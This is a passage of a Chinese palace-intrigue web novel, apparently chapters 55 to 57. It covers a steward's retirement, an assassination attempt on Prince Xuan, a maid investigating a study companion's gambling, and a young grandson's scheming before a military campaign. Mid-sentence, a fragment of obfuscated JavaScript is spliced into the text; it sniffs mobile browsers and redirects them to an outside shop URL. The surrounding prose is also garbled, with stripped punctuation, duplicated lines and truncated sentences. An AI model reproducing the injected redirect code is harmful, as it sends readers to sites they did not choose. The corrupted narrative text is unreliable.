雍王府今日上到主子下到仆从,皆喜气洋洋,主子们得了体面,仆从们得了赏赐。 卧床不起的宋管事听着外头的嬉笑怒骂,问身边的小丫头,“今个怎的了?” 小丫头回答了,又说道:“宋管事好生歇息罢,这些差事,就交由竹清姐姐去做。” 床头正摆着一大叠的单子,都是需要管家掌眼的,宋管事病着,却也不肯放手,就怕对不住她得的月例银子。 “这原是我的活计,如何能摊给其余人?倒教她们劳累。”宋管事咳嗽几声,只觉得身上的骨头漏风似的冷,盖着被子也不顶用。 老毛病了,当年生育之后没有养好,一到阴冷天身上就疼,现在更加严重了。 “不过,你说的有道理,既然大家高兴,不若我教竹清她们喜上加喜罢。扶我起来梳妆打扮,我去见王爷。”宋管事依旧是那副古井无波的表情,只是她的脸上,皱纹愈发深,眼窝也凹陷进去,眼珠子有些混浊。 雍王正在书房里教导琮哥儿,虽然他某些地方不太擅长,不过到底与圣上当了恁多年的父子,对圣上还是有几分了解的。这会儿,他就是与琮哥儿讲圣上的脾性。 “老奴见过王爷,见过琮哥儿。”得了雍王的允许,宋管事教人扶着进了书房,她先是朝两人行了礼,随后坐在圆凳上。 “宋妈妈坐,妈妈来找本王有甚麽事?”雍王对奶/大自个的奶妈妈还是挺和善的,这会儿和颜悦色地问道,问罢又拧眉说道:“妈妈该是好好将养 才是,奔波劳碌于身体无益。 宋管事笑了笑,又看向琮哥儿,“一晃恁多年过去了,老奴看着琮哥儿,就感觉看见了王爷小时候。老奴看着王爷长大,只是想再看着琮哥儿长大,只怕是不能够的了,咳咳咳咳咳咳…… “快给妈妈拍拍。雍王吩咐了宋管事身边的小丫头,待宋管事好些了,她又说道:“这些年得王爷体恤,老奴能在王府有个一席之地,只是这会儿老奴身体实在是差,担不起王府的大管家了,故而,老奴是来与王爷请辞的。 雍王虽然有所猜测,但是现下听见宋管事真的要离去,还是不免伤感,他挽留道:“妈妈这是听了谁的话去?你只管做着大管家,剩下的事情交由其他两个管家去做,也碍不着你甚麽,你何必要走呢? “王爷是知道的,老奴不会因着旁人的话就改变自个的想法。宋管事解释完,又望着书房内升起袅袅烟气的香炉,陷入了沉思,“老奴这辈子从小村庄长大,后来到了盛京城,一直没有机会瞧瞧外头的风景,想去走走。 “这一走啊,就不管甚麽大事小事的了,只管痛痛快快地顽上一场,瞧瞧咱们大文朝的风光。 “王爷就允了老奴罢。宋管事大约真的是老了,不想再为王府操劳。 雍王再三挽留不得,只能沉着脸点头应了,他说,“那妈妈便去罢,只是妈妈答应本王一件事,你去了一阵儿之后要给信与本王,好教本王安心。 “这是自然,哪怕王爷嫌弃老奴,老奴也定日日写信的。 此事说罢,宋管事已然是要离开王府的,接下来的话,才是她最先来书房的目的。 “老奴一走,大管家的位置就空出来了,老奴在这里想与王爷推荐一个人。宋管事抬眼。 雍王挑眉,“谁? “竹清。 见与自个的猜测一样,雍王也任由宋管事继续说下去,她说,“王爷想必也是清楚的,竹清这些年勤勤恳恳,有些事情下边的人出了纰漏,她也能及时发现并且解决,虽然十年过去了,她才二十四岁,不过已经能独当一面,是个可以信赖的。 “本王知道了。雍王说。 “王爷与琮哥儿还有正事要干,老奴不打扰了。宋管事心事说罢,一身儿轻松地离开 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164499|131526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 了书房。 琮哥儿一直没有讲话,见宋管事离开了,他扯了扯雍王的衣袖,安慰道:“父王别难过。” 雍王的确有些难过,自他出生,陪伴他最久的不是生母淑妃,而是宋妈妈,他出宫建府,也是她帮着管事。 “父王没有事,咱们继续讲。” * “宋管事。”竹清刚过拐角,就看见了在赏花的宋管事,她快步走到宋管事身边。 “竹清姐姐好。”几个小丫头问了好,又自觉站远一点,与她们二人说话的地儿。 “您怎的出来了?郎中不是说您不宜吹风麽?”竹清虚扶着宋管事。 宋管事侧头,看向身边容颜姣好的小娘子,自她与竹清共事开始,竹清待她一直很尊敬,包括她卧床不起后,她也不会架空她,反而有甚麽事,会挑她精神头比较好的时候来问问她,教她安心。 做人做事都好,哪怕是做戏,都做了几年了,为着她的这份心意,宋管事这才想着成全她。 “我方才向王爷举荐你接替我的位置。”宋管事忽的出声,竹清眼里闪过一抹讶然,没有接这个话,反而宽慰起宋管事,“您其实不必如此早离开王府的,哪个敢不敬您?” “我老了,大管家的位置由你接了正好,教旁人接,我反而担心。他们都有家,都有亲人,也就会有私心。”宋管事说。 “那就谢谢妈妈成全了。”竹清不再虚伪,真情实意地道谢,谢完,又询问道:“不若我扶您回去罢?起风了。” 初夏的风还是有几分刺凉的,宋管事感觉浑身漏风,便也应了。 过了两日,竹清照常去了宫门口接下学的琮哥儿,敏姐儿昨日感染了风寒,现在正请假呢。 马车上,琮哥儿忽的问竹清,“竹清姐姐,青瑶坊是甚麽地方?我能去顽麽?” 青瑶坊?那可是盛京城不大不小的一个赌坊,里头三教九流的人都有,还有一些赌红眼了的亡命之徒,琮哥儿这样的公子哥儿,怎会知道这样的地方? 竹清不动声色地打探道:“琮哥儿做甚想要去青瑶坊?可是在宫中有甚无聊的地方?” “没有的,只是今日听清哥儿说的,他说青瑶坊是个好顽的去处,教我过几日与他去瞧瞧。”琮哥儿其实并不好顽乐,只是伴读的 邀请他总不好拒绝太过。 清哥儿?竹清立马警惕起来伴读作为琮哥儿身边的亲近人可是对琮哥儿的影响有些大的千万不能教他带坏了琮哥儿! “琮哥儿既然不急着去顽不若教奴婢去打听打听若是个好的我只管预定了位置教您能请他们去顽可好?” 琮哥儿点点头“好那我先不与他们说。” 这番回到王府琮哥儿去了敏姐儿的院子里头瞧了瞧她又与她带了一些玩意解闷两姊弟好生说了一场话待敏姐儿有些疲乏了琮哥儿这才离了。 “见过母亲。”琮哥儿朝雍王妃行礼让雍王妃拉着好一顿亲香早有旁人端来了吃食教琮哥儿用了。 “母亲皇祖父生辰我能不能写一副字与皇祖父?” 万寿节如何讨皇帝欢心是许多人绞尽脑汁要作的事。 雍王妃想了想道:“可以或者是歌颂功绩的诗词也可以皇祖父今年年初不是解决了淮安的水患麽?正是需要赞赏的时候你往这个方向捣鼓总归是没有错的。” 琮哥儿不解抬头“可是母亲朝中许多文武大臣都发文称赞过了其中一些文采斐然、歌词信手拈来一气呵成儿子这个时候也这般做会不会太没有新意了?” 雍王妃摇头轻声细语地与琮哥儿说道:“大臣们的赞誉是赞誉 琮哥儿似乎是理解了若有所思又与雍王妃说道:“母亲在勤学殿见到皇祖父的时候个个都怕他唯独我不怕皇祖父似乎还很高兴。” “你才十岁对于你皇祖父的亲近是发自内心的不含一丝一毫的算计他自然高兴。”雍王妃意味深长地说若是旁的孩子也就罢了但是琮哥儿聪慧他亲近皇帝绝不会没有算计。 当然话还是要这样说的。 琮哥儿有雍王与雍王妃教导父亲教他皇帝的习□□好母亲教他如何利用这些习□□好去教皇帝放下防备琮哥儿学得很好。 他们正好说罢就看见一个小厮进来语速急切地说道:“王妃宣王在集市上被刺杀了此事教许多人都看见了王爷现下往宣 王府去了。 “收拾一下,咱们也去,带些得体的药材。雍王妃吩咐了竹清,又教人备马车。 宣王府一片惨淡,宣王是被人用匕首刺中了心脏的位置,命悬一线。 太医不敢耽搁,已经死命地赶来,替宣王救治去了。 雍王妃带着琮哥儿站到雍王身边,不多时,祁王与祁王妃也到了,他们带来了百年老参。 雍王手在颤抖,他现在急切地希望宣王挺不过来,那样,他就能…… 伺候皇帝的太监也到了,带来了补气血的好物,他说道:“陛下挂念宣王,你们可一定要尽力救治,不可懈怠。 “遵陛下的旨意。太医们皆应了,不敢托大。 宣王妃与几个女子在哭泣,她们是最想宣王安然无恙的人,这不仅是一家之主,还是她们的指望。 雍王妃低声与雍王交谈,其中神色复杂,她问雍王,“恁多人的集市为何会有刺客?还有,刺客抓住了麽? 雍王低低地摆摆手,小声说道:“谁知道?那刺客与普通百姓无二,得手后冲进人群中就不见了,宣王出府带的人一部分人紧着他,一部分人去追刺客,追到一条死胡同里面,那刺客见逃脱不了,就地自决了。 这就是此事最棘手的地方,和三年前害承哥儿下马的马术师傅一样,这下刺客死了,死无对证,谁都有些怀疑。 特别是他,他自个也知道自己嫌疑最大。 毕竟祁王已经是人尽皆知的断袖,只要宣王没了,他就是最有可能继位的王爷。 雍王纠结,他一方面想宣王快点死,一方面又苦恼自个身上有这样的疑点。 可是这事,真不是他做的。 人心浮动,各自都有算计,琮哥儿看向胸口只有微微起伏的宣王,低头,不知道在思索甚麽。 宫中的赏赐一波接着一波,连太后都赏了不少的药材下来,还有一些保平安的玉石。 几位太医忙活了好一阵儿,直到一个半时辰后,他们额头上的汗水才逐渐少了,太医院院判朝众人行礼,冲着宣王妃说道:“启禀王妃,王爷的伤已经包扎好了,若今夜没有高烧,挺过去了,兴许就是无虞的。 太医说话向来不会说的过于绝对,就像现在,他们也不能保证宣王一 第 56 章 琮哥儿:我就要竹清姐姐(改了年龄) 宣王到底没有死,太医们一宿没有睡,灌了好几碗醒神的汤水,在宣王高烧的时候开药、施针,保住了。 “……只不过,宣王虽然保住一条命,只怕日后也是体虚的,且王爷因着用手挡匕首,手掌心的筋脉被割断了,痊愈后拿些轻省的物件没问题,但是用力是不能够的。”太医院院判给圣上回话,言语中不乏对宣王病情的担忧。 一个等同于半废的王爷,与死了有甚麽区别? 圣上挥挥手,太医院院判就悄无声息地退下了,圣上喃喃自语,“宣王……”他没有想过立宣王为太子,不过眼下宣王还活着,到底教他安心。 “又是他们。”圣上转而恼怒,这些人与几年前离间雍王与宣王的人是一伙的,查了一两年,终于查出来,他们效忠的人是一个边关将士的儿子,不,应该说是当年一个王爷的嫡次子。 换了身份,他们想着谋朝篡位呢! “叫两位丞相以及六部尚书到勤政殿觐见。”圣上吩咐。 * 上头的事不大能影响到竹清,这会儿她正在追查琮哥儿的伴读清哥儿,她带着曾妈妈,守在了朱家外面。 曾妈妈是个嘴严实的,竹清便与她说了自个的怀疑,曾妈妈气的浑身发抖,“那种腌脏之地,咱们的哥儿怎麽能去那种地方?没得学坏了!” 赌钱是会让人心性大变的,特别是几岁的孩子,自制力不行。 若果真中招了,琮哥儿还有甚麽前途与指望?连曾妈妈都知道,雍王府得靠着琮哥儿。 “竹清姑娘,你觉得,这个清哥儿是受了谁的蛊惑?”曾妈妈凑在竹清耳边问,清哥儿自个还是个孩子,没有人与他说的话,他哪里知道青瑶坊? 青瑶坊听着是个文雅的地儿,可内里,肮脏不堪。 “我也不知道,有可能是他家里人提过一嘴,清哥儿觉得有趣儿,便想拉了琮哥儿去,有可能他自个都不知道青瑶坊是甚麽地方。不过咱们做事,自然是要调查个清清楚楚才行。”竹清说道。 待清哥儿出了朱家,竹清赶忙吩咐人不紧不慢地坠在后头,跟踪他们去哪里。 前头的马车里不止一个人,还有一个较年青的清哥儿的长辈。 此刻清哥儿正聚精会神地听着叔叔说盛京城好顽的地界, 他从小被宠到大,也不觉得去这些地方有甚麽不对的,还迫不及待地问自个的叔叔,“那我也能去麽?叔叔,我想去你说的那个很好顽的青瑶坊。 “自然,不过这可是咱们之间的小秘密,你不能与家里人说,尤其是你的父亲母亲,知道不?清哥儿的叔叔还是很怕露馅的,要是让家里人知道他带清哥儿去那种地方,指不定把他的腿打断了。 但是他这不是爱顽麽?且清哥儿又缠他缠得紧,他想着有他在身边看着,带清哥儿去一趟也不碍事。 在朱家的马车停下后,竹清与曾妈妈也下了马车,她们来的地儿,正是青瑶坊。 青瑶坊里不独只能赌钱,还有旁的戏子在唱戏,也有一些有点关系的人在这里作吃食买卖,总之就是热闹。 像竹清这样的小娘子也有三五个,门口迎客的人并不意外,见竹清与曾妈妈穿戴俱都鲜亮,赶忙亲亲热热地把人请了进去。 “两位娘子这边请,是看戏麽?你们来得巧,今个儿正有那朱时声来唱大戏,你们定会喜欢的。 那迎客的带着竹清与曾妈妈上了二楼,他倒是机灵,直接安排了一个清净雅致的包房,保管不会被人打扰。 竹清点了几样吃食与价格不菲的茶水,等迎客的出去后,她来到窗前,打开窗,微微探头,底下一层的热闹便传入了耳朵里。 锣鼓敲了几下,大戏正准备上演。 清哥儿跟着叔叔坐在了一层的最前边,这是他要求的,说是看得过瘾,他叔叔也只能随了他。 这倒是方便竹清观察。 曾妈妈也凑了个头过来,竹清与她让了个位置,两个人便偷偷摸摸观察下边的情况。 “瞧着还挺正常的,他们就真的只是来看戏的麽?曾妈妈纳闷,她方才想了许多话本子里的故事,就以为朱家这两个人是受人指使的,想带坏琮哥儿。 看情况,好像并不是? “什么情况都可能出现,也许之前只是我大惊小怪了。 “我也是这般 想的,总归是不能让他坏了琮哥儿。竹清说,琮哥儿前程不小,断然不能教旁人毁了。 很快的,随着竹清一同来的小厮已经打探清楚,带着清哥儿来青瑶坊的人不是旁人,正是他的小叔叔,叫朱渊海。 “竹清姐姐,我还听到朱渊海想看完这场戏就走,那清哥儿断然不肯,还想进里头看看。 里头,就是赌场了。 曾妈妈笃定似的说道:“我猜他们肯定会去,这朱渊海瞧着就不是个坚定的,方才清哥儿央了他好些时候,那不能与孩子吃的带着酒的糕点就与他买了,啧啧啧,不说是不是个溺爱孩子的,就他这性子,清哥儿说甚他都应。 “这两个人的性格好相似。竹清说,朱渊海没有定力,清哥儿何尝不是?这般看来,清哥儿想带琮哥儿到这里顽,倒更像是一个偶然的误会了。 果不其然,在两人的眼皮子底下,清哥儿闹了一小会儿,朱渊海便带着清哥儿进了内里的赌场。 竹清吩咐了一个小厮一个老仆进去看着,并交代发生了甚麽事一定要来报与她。 “竹清姑娘喝茶。曾妈妈端茶倒水,她说道:“我瞧一时半会儿的,他们应当是不会出来了。咱们在这里等有些浪费时间,不若竹清姑娘先回去忙活?您是管家,府里离不得您。 她在这里等也是一样的。 竹清却摇摇头,说道:“府里的事我昨天就交代好了,左右现在没甚麽大事,另外一个副管家也在呢,曾妈妈不必担忧。 小厮时不时地出来禀报,那朱渊海与清哥儿已然是顽疯了,从小赌怡情顽成了大赌红眼,就连那清哥儿,都摘下了脖子上挂着的金锁以作赌资,真真儿是吓人得紧。 小厮回话的时候还在吞着口水,明明看戏的时候两个人都是斯文的公子哥儿模样,到了赌桌上,乖乖,那叫一个骇人哟! “你再去看着罢,我瞧他们若是一直输,很快就会走了。竹清说。 “是了,这个赌法,再多的银钱也得赔进去,再则,朱渊海带着清哥儿,也得想想回去之后如何交代。曾妈妈感叹,赌钱害死人呐。 果不其然,在小厮进去没多久后,朱渊海便狼狈地扯着清哥儿出来了,清哥儿还在闹腾,一双腿使劲儿地踹,想要下来再进去赌。 倒是朱渊海仿佛清醒了过来,双手死死抱住清哥儿,生拉硬扯着他出了青瑶坊。 “这般看来,就是一个意外了?曾妈妈说。 “再瞧两天,若果真如此,我就去禀报了王妃。 接下来的几日是曾妈妈盯着,竹清送琮哥儿去勤政殿的时候,还会不动声色地问他清哥儿,琮哥儿说清哥儿自从三天前就请了假,没有去勤政殿了。 与清哥儿去赌场的时间正正好对的上。 如此确定了清哥儿并非是有意带坏琮哥儿,不过他自个现在都是沉迷于赌钱的,这样的人断然不能在琮哥儿身边。 送琮哥儿进去之后,竹清回到了正院,敏姐儿风寒刚愈,也在这儿。 “见过王妃,见过小主子。竹清行了礼,把自个的发现与雍王妃说了,雍王妃勃然大怒,呵斥道:“那个清哥儿怎的变成这副模样?当初去琮哥儿身边当伴读的时候,我还教人领了他来瞧瞧,那个时候嘴甜活泼,我以为是个不错的。谁知道金玉其外败絮其中,竟然只有外头是能看的。 琮哥儿可是她的孩儿,岂能教这样的人长久地在他身边服侍? 敏姐儿适时出声,“母亲,我不喜欢清哥儿。他对着琮哥儿的时候就很尊敬,但是私底下见了我,却瞧不起我,觉得我是个小娘子。 别以为小孩子看不出来,实际上敏姐儿很是敏感的。不过清哥儿是琮哥儿的伴读,他没有犯大错之前,她是不会在母亲面前说他坏话的。 免得教人说她娇气。 这会儿有了机会,敏姐儿可就不客气了,她说,“这还不止呢,他经常仗着琮哥儿的名儿去欺负旁人,旁人的糕点只要是他看中的,也只管抢了过去。琮哥儿专心学业,这些事有时会闹到他面前,教他不能沉下心去学。 “清哥儿喜好顽乐,他有时会怂恿琮哥儿去出去,只不过琮哥儿从来都不应,因为那些地儿都是一些肮脏不堪的地方。 竹清这般听着,心中却闪过一抹狐疑,琮哥儿知道清哥儿的性子,那为何会在马车上问她青瑶坊去不去得? 他会不会早就知道,青瑶坊不是甚好地方? 琮哥儿自个都不把清哥儿放在眼里,敏姐儿自然不会越过他,私底下告诉雍王妃这些事情。 雍王妃越听越气,说道:“好在他在琮哥儿身边的时候不算久,这事也不难处理,待我进宫一趟,定要把他换了!” 事不宜迟,雍王妃等不得雍王下朝回来,便梳妆打扮进宫了。 敏姐儿的奶妈妈也在内室,听了这一番动静,她拧眉,问敏姐儿,“我的姐儿,您怎麽没有提前与王妃说这些事,这这这,教王妃一顿着急了。” “妈妈,不是我不想说,是琮哥儿,他不让我说。琮哥儿说他自个能解决这件事,也让我忍一忍清哥儿,因为清哥儿很快就会从咱们身边消失了。他说,不会再让清哥儿欺负我了。”敏姐儿说着就抿起嘴巴,她小手揪在一起,似乎有些不安,说道:“妈妈……琮哥儿是不是早就料到了这一切?他,他好聪明。” 哪怕琮哥儿才十岁多,哪怕敏姐儿从小看着他长大,却也还是对这个弟弟产生了一种复杂的情绪。 奶妈妈听闻了,只当是敏姐儿多思,她没有近身服侍琮哥儿,自然很难对琮哥儿的聪慧有直观的感受。 与敏姐儿有同样感觉的,是竹清。雍王妃进宫没有带上她,她还要处理王府的大小事宜,只是今日她略微心不在焉。 越是回想,她就越觉得,似乎是琮哥儿牵着她走的,他只在马车上问了她一嘴,教她知道了清哥儿想带他去青瑶坊,他醉心功课,若是不想去,直接拒绝了就是,清哥儿也不能逼他。 可他偏偏问她了…… 仅仅过了一日,琮哥儿身边的伴读就换了,换成了右丞相嫡长子的嫡次子,也唯有这样的人家,才会盯紧了哥儿,不教他们去乱七八糟的地儿。 圣上似乎恼怒了,在朝堂上狠狠驳斥了朱家的主君,这还不解气,又寻了旁的事情,把朱家主君贬了官,连贬三级,贬谪到京外去了。 琮哥儿是他的心头好,哪能由着这些人带坏了? 换了一个伴读对琮哥儿无甚影响,他静心在书房练字,自幼跟着他的小厮轻手轻脚地替他换了汤水,说道:“哥儿,这是王妃特意吩咐了小厨房做的,您喝了罢。” “放着。”琮哥儿淡声说。 “欸。”小厮听了,等了半个时辰,见琮哥儿练完字,替他擦手,又絮絮叨叨起来,“其实哥儿不喜欢清哥儿,为何不直接与圣上说?” 圣上对琮哥儿的喜爱不做假,只要琮哥儿一句话,那清哥儿还不是从哪儿来的就从哪儿回去? “聒噪。”琮哥儿看了小厮一眼,眼里有些厌烦,这如何能一样呢? 清哥儿若是不犯错,他就告了圣上要换伴读,难免给人一种娇气的印象,且,他与圣上的感情还不到可以任性的地步。 换伴读这样的事求到圣上面前,简直是浪费了圣上对他的喜爱,他权衡利弊之后便放弃了这条最为便利的路。 小厮又问道:“那哥儿何不直接与王爷王妃说?倒是让您耗费了心神。” “让他得一个明察的功劳?立功?”琮哥儿嗤笑,他可不算很喜欢雍王,哪怕雍王是他的父亲,可是他自小就能感受出来,王府里真正对他好的人,唯有母亲、敏姐儿、宋管事、竹清姐姐。 雍王并不是发自内心地喜欢他,他对他那般重视,只是因为他得圣上的喜爱,能给他长脸,仅此而已。 而这一次,如他所料,他的这位好父亲被圣上斥责了,还被叫去祟州当差,圣上对雍王是眼不见心不烦。 除了清哥儿,还让雍王跟着遭殃,又保全了他的名声,一箭三雕。 琮哥儿看着临摹的帖子笑了笑,转而让人挂起来,“对了,你去小厨房吩咐一声,教他们做些竹清姐姐爱吃的糕点,等她回来了给她送去。” 他就知道,竹清姐姐会去查的。 这事过后,琮哥儿又与敏姐儿一同上学了,竹清送他们两个,神情还与以前一样,可是偶尔,她与琮哥儿对视一眼,皆有种心照不宣的感觉。 如此过了半个月,雍王办完差事回京了,他晒得黑了许多,整个人瘦了两圈。他不是一个人回来的,还带回来两个女子,皆是作妇人状的,想来已经服侍过他了。 雍王妃面色如常,安排了她们的住处,随后又与他说起京中发生的事情,只是还没说多少,宫中就来人了。 “王爷,圣上宣您勤政殿觐见。” 于是雍王水都来不及喝,又紧赶慢赶地进了宫。 勤政殿内,连艰难下地的宣王都到了,小皇孙们也齐聚,只等圣上发话。 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“皇祖父琮哥儿愿意便由琮哥儿代您出征罢。”不料却是年纪最小的琮哥儿率先站出来他满脸担忧地说道:“京城离不得皇祖父琮哥儿愿意代皇祖父奔波为咱们大文尽心尽力。” “琮哥儿!”雍王忽然叫了琮哥儿一声声音里满是惊疑不定琮哥儿可是他最得意的孩子如何能去战场? 连宣王与祁王都惊了他们同时看向小小的琮哥儿却见他一撩衣袍直直地跪下说道:“还请皇祖父成全!” 既然想要立功就不要瞻前顾后。 虽然皇祖父不曾事先与他说但是他依稀能感觉到此行立功的几率颇大皇祖父定然筹备妥当了的。他人小 “父皇琮哥儿还小他——”雍王想要让圣上不要应可是圣上却打断他“十岁不小了。” “既然琮哥儿有此心朕便允了。”圣上看向琮哥儿的眼神很温和“为防止刺客朕会给你派精兵保护你再有明日早朝朕会点几个骁勇善战的将领与你同去。” “谢皇祖父琮哥儿此行必定为皇祖父分忧。”琮哥儿倒也不惧怕铿锵有力地说罢又问了圣上好些问题。 “好。那朕便在京都等着你回来待你回来给你大摆宴席向天下昭告你的功劳。”圣上说与琮哥儿猜的差不多他已经做好万全的准备此行出错的概率比较低为的就是给雍 王与琮哥儿造势。 他虽然聪慧,但是天下人尚且不知。 若有这般的功劳,便能教文武百官都高看他一眼,于他日后掌管江山也是有益处的。 “不过麽,教琮哥儿掌兵的确不大行,琮哥儿此番前往,可以挂一个协助的名头,意在学习。”圣上又看了看雍王,直截了当地问道:“雍王,你可愿意为朕分忧?你的儿子已经先你一步,你呢?” 他的设想是教雍王挂一个领兵的名头,琮哥儿随他去,得一份功劳。 作战计划他已经与将军们商议妥当了,他们父子俩啥都不用干,只待赢了,自有两份送到手的功劳。 雍王的心犹如捣鼓,一下一下地撞击着他的身子,要不要去呢?这样唾手可得功劳,连他的儿子都不惧怕…… “父皇,儿臣愿意!”雍王出列,一脸坚定,虽然内心仍旧忐忑,但是总归他还是想要搏一把的。 他身上没有大功绩,那些大臣们定会瞧不起他。 “行了,你们都下去罢。”圣上看了承哥儿一眼,他坐得高,自然瞧见了承哥儿的神情变化,承哥儿有这个心,可惜他不是最合适的人选。 况且,承哥儿孝心有余,勇气不足,学问也只是一般般,算不得出色,做个守成之君勉勉强强,但是当个明君,做个能力压文武百官的实权君主,他还不够能力。 这点上,他甚至不如比他小好几岁的琮哥儿。 “行了,你们都下去罢。”圣上挥挥手,又道:“琮哥儿留下。” 连雍王,都不得留下听。他出了勤政殿,着急地在外头踱步,把外头的小太监晃的眼睛都花了。 “王爷,圣上与小皇孙想必要聊许久,您不如先回王府罢,在这里干等着也是累的。”小太监劝雍王,奈何雍王完全听不进去。 这可是他唯一一个嫡子! 雍王妃也在宫中,雍王被宣进勤政殿时,她就觉察到不对劲了,所以打着请安的名头进了宫。 皇后那个时候没空,她便先见了淑妃,之后再去给皇后请安。 “你说,淑妃教你再生一个嫡子?”皇后玩味地笑了笑,雍王妃现在与她是盟友,某些想法与她高度合拍。几乎是听见皇后这样说之后,雍王妃就明白了她的意思。 “是,儿 臣含糊过去了。我只养一个琮哥儿就够了。”雍王妃想起机灵谨慎的琮哥儿满心欢喜。 皇后拍拍她的手满意地说道:“这就对了琮哥儿这般的孩子有一个就够了多了难免争斗且会引起不必要的争端。” “还可能动摇国本。”皇后意味深长地说了一句她大约能揣摩出圣上的意思雍王这一回约莫是父凭子贵了。 父亲平庸但是生出来的孩子却随了母亲小小年纪便像只小狐狸。 雍王妃心头一跳顷刻间领悟到了皇后的意思教她呼吸一滞。 勤政殿外雍王等了一个时辰这才等到了琮哥儿见了他雍王立刻把他带离了勤政殿这才敢训斥琮哥儿“你为何答应去了?你知不知道 雍王简直被气的七窍生烟他从来都没有想过这个儿子居然这般大胆不问过他的意见就敢自作主张。 琮哥儿有些烦他但是念着他是父亲勉强收敛神情回答道:“父亲为皇祖父分忧是作儿孙的荣幸如何能左思右想?” 没得浪费了机会。 雍王噎了一下又说道:“琮哥儿我去就罢了你到底还小你就与陛下说你不去行不行?你是不是不了解战场?来我今个就带你去威德大将军那里让他好好与你说说战场的危险。” “好啊。”琮哥儿应了正好得一些经验看看夺下漠州之后如何加固边防。 这些他都是要学的。 雍王只以为能说动琮哥儿了满心欢喜地带着琮哥儿去找祁王由着祁王带他们见威德大将军。 * 夜色无边雍王府里却灯火通明显然主子们都没有睡。 雍王妃知道了琮哥儿的决定既欣慰又免不了担心她问琮哥儿“你这一行可要带甚麽人?奶妈妈也带去罢?小厮总归粗心不如丫鬟妈妈们妥帖。” 琮哥儿摇了摇头“不要她们一点意思都没有。”想了想他说“我要竹清姐姐她对我好。” “好我给你安排。” 琮哥儿又着重提了一句“就要她不要旁人她们要麽聒噪要麽怕我我不想见到她们。” 意外的琮哥儿还 第 57 章 并州,边关 下了朝之后,琮哥儿又跟着陛下去了勤政殿,陛下拉着琮哥儿坐下,与他说道:“此事朕都安排好了,将领们已经与朕商议过作战的事宜,教你父亲领兵,你从旁协助,也只是挂个名头。待他们打下漠州,你就顺理成章有了一份功劳。此番出征,你甚麽都不用做,只用待在马车里,去到并州之后,你就跟着你父亲去军营溜达两圈,见过士兵们以及操练,剩下的打仗,交由两位大将军。” “另外,朕会派一千精兵贴身保护你与你父亲,你不必担心有甚麽危险。” 这件事其实就没有琮哥儿甚麽事,也压根儿不会有危险,不然陛下肯定不会让琮哥儿去。 即便琮哥儿去了那边一直睡觉,只要挂个协助的名头,他就是立功的。 “琮哥儿,你就当去出游了。”陛下慈祥地说道,“在大殿之上你表现得很好,让大臣们见到了你的果敢、勇气,你比任何人都要出色。” 难道大臣们不知道这一趟琮哥儿根本没有任何作用麽?知道的,特别是与他商议过对策的几个重臣,可是他们没有阻止琮哥儿出征,他们也想看看,这个小皇孙到底能不能受得了边关的苦,会不会去了没有两天就教人送回来。 大家心照不宣,陛下就是明晃晃的偏心,这样唾手可得的功劳与名气,他谁都不给,就给了雍王与琮哥儿。 甚至怕琮哥儿受一点点伤,他筹谋了许久,确保计划万无一失。 “琮哥儿,你不用插手任何计划,只需要出个门溜个弯,此事就成了。”陛下摸了摸琮哥儿的头,感叹道:“其实原本,我也不想让你去的。” 只是他这一年身体愈发不好了,时常咳血,若他只是为雍王造势,捧雍王上位,可是他百年之后呢? 已经做皇帝的雍王会不会不满意琮哥儿,要另立太子,雍王无能,琮哥儿若不出色,得不到大臣们的支持,只怕他的地位也会受动摇。 皇帝啊,掌握着所有人的生杀大权,哪怕到时候琮哥儿是太子,是储君,皇帝要是不满,琮哥儿照样危险。 但若是琮哥儿身上功绩不少,哪怕皇帝再不满他,也得忌惮几分。 他总觉得,琮哥儿的继位之路不会那麽平坦,以他对儿子的了解,他可能会弄出甚麽幺蛾子。 琮哥儿昨日就猜 测,皇祖父让他去,肯定是觉得此次出兵毫无危险,这会儿听见了皇祖父的话,他抬起头,应了,“谢皇祖父挂心。 他想,接下来还有太后生辰、万国来朝的盛事,皇祖父少不得也要教他父亲去负责,一步步积攒经历与功劳。 皇祖父身体是真的不大好,他常来宫中,见过皇祖父处理政事突然呕血,有几次太监们急切地请了太医来,像是皇祖父即将不久于世。 莫名的,琮哥儿心里有些难受,皇祖父对他很好,他不想皇祖父有事。 教琮哥儿下去,陛下又见了雍王,“雍王,你此次前去,不必插手任何布置,只待将领们做主儿就可以了,另外,你去到并州之后,要展现展现自个,将领们不是傻子,你要能让他们发自内心地尊敬你。 他收拢了兵权,如今大权在握,只是权力是一回事,让人臣服又是另外一回事。 “是,父皇,儿臣知道了。雍王说。 * 出征的事说急也急,说不急也不急,兵马粮草等等皆需要调运,所幸这些陛下早已准备了,所以倒也不算手忙脚乱。 唯有一个,琮哥儿要求回家拜别母亲,雍王妃昨晚就知道琮哥儿要出征了,内心虽然不舍、不安,但是琮哥儿与她说道:“母亲,皇祖父他身体愈发不好了,我若不跟着去,混一份功绩,大臣们又怎麽能支持我? “凭我聪明麽? 如此,雍王妃即便忧虑,也依旧选择支持自个的儿子,他胸有大志,把他困在羽翼之下,只会害了他。 竹清也跟着去,这是琮哥儿朝雍王妃要的人,他不喜欢打心底里害怕他的奶妈妈,也不喜欢底下那些没有眼力见不能与他论上几句策论的小丫鬟,所以他要走了竹清。 他还小,身边到底得有心细如发的小娘子跟着才教雍王妃安心,竹清是最好的选择。 交接完活计,竹清提醒抱着琮哥儿的雍王妃,“王妃,哥儿,时辰差不多了。 “还请母亲莫要挂怀,只等琮哥儿的好消息罢! 雍王府门口,整齐充满肃杀之气的禁军候着,这是圣上拨给雍王与琮哥儿的一千贴身保护的精兵,剩下平定叛乱的大部队,则是从其他地方抽取过来。 调动兵马的虎符,圣上当着大臣们的面,亲手交给了雍王,也算是对他的一种承认。 除了一众男子,随着雍王与琮哥儿去的,唯有竹清与伺候雍王的两个妈妈,雍王妃教琮哥儿多带一些小丫头,琮哥儿却嫌弃她们娇气,误事。 